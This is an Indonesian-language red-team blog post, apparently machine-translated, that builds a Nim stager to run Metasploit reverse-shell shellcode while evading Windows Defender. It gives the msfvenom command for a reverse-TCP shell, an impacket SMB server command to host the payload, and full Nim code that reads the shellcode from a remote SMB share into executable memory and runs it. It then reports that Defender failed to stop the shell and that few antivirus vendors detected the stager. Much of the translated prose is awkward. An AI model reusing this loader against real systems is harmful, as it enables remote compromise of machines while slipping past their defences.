Mengembangkan aktor SMB di Nim
Halo sobat Tim Merah. Saya baru-baru ini mulai menghubungi Nim untuk pengkodean ofensif. Sejujurnya saya merasa sulit dan aneh, tetapi BEKERJA!
Hari ini kami sedang mengembangkan stager SMB sederhana, melewati Windows Defender pada saat pengujian.
Jika Anda lebih suka menonton video daripada membaca, video lengkapnya dapat ditemukan di sini:https://youtu.be/qq-S2syksL0
Juga, jika Anda tertarik untuk bergabung dengan Discord terbuka untuk berbagi pengetahuan dan pengalaman cybersec, silakan:https://discord.gg/dWCe5ZMvtQ
Ayo pergi
Teorinya cukup sederhana, idenya adalah untuk menghindari penulisan kode shell ke file, melewati deteksi berbasis tanda tangan, sambil membantu heuristik juga. Saya awalnya mencoba mengunduh kode shell dengan HTTP, tetapi saya menemukan banyak masalah, saya tidak dapat menyelesaikannya sendiri. Kemudian metodologinya sedikit berubah. Alih-alih mengunduhnya dari HTTP, payload akan dihosting di SMB share, dan akan langsung dibaca dari sana.
Saya menggunakan muatan stageless msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Pertama-tama, kita harus mengimpor pustaka kernel Windows, memungkinkan kita untuk memanggil API Windows:
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Waktu Pengujian!
Saya melakukan 2 tes. Yang pertama melawan Klien Windows 10 dengan Defender UP dan RUNNING. Yang kedua melawan antarmuka antiscan.me.
Nim Stager vs Windows Defender
Tes 1 dimulai dengan menjatuhkan stager ke sistem file. Sejauh ini tidak ada yang dipicu, artinya kami berhasil melewati deteksi berbasis tanda tangan. Sekarang mari kita jalankan dan amati:

Stager ternyata bekerja dengan baik, dan hal yang aneh di sini adalah Pembela berhasil dipicu, tetapi ini tidak membunuh cangkangnya:

Saya menjalankan shell ini selama beberapa menit dan berfungsi penuh. Saya pribadi tidak tahu mengapa pembela tidak membunuhnya, jika Anda tahu jawabannya, saya akan menghargai berbagi.
Nim Stager vs Antiscanme
Jangan salah paham, antiscanme memang bagus, tetapi saat menguji stager, mereka tidak benar-benar memiliki cara untuk menyajikan hasil yang valid. Hasil yang Anda lihat didasarkan pada deteksi berbasis tanda tangan, karena mereka tidak memiliki kemungkinan jaringan untuk mengunduh kode shell yang sebenarnya. Saya berharap lebih banyak vendor AV untuk mengetahuinya pada pengujian nyata, tetapi ini adalah "langkah pertama" yang bagus untuk dilakukan.
Setelah mengunggah stager, hanya 4/26 vendor yang dapat menangkapnya.

Saya percaya bahwa pemicu didasarkan pada vendor yang membaca panggilan Windows API, sehingga menghitungnya sebagai berbahaya. Tentu saja, untuk menguji apa yang sebenarnya salah, saya perlu melakukan banyak sekali tes. Itulah teori saya untuk saat ini.
Kesimpulan
Bermain dengan Nim itu menyenangkan dan hasil yang kami capai hanya dengan mementaskan hal-hal luar biasa. Tentu saja, ada teknik bypass AV yang jauh lebih canggih yang dapat kami lakukan, tetapi kami akan melakukannya di masa mendatang. Semoga konten itu bermanfaat dan mempelajari sesuatu yang baru.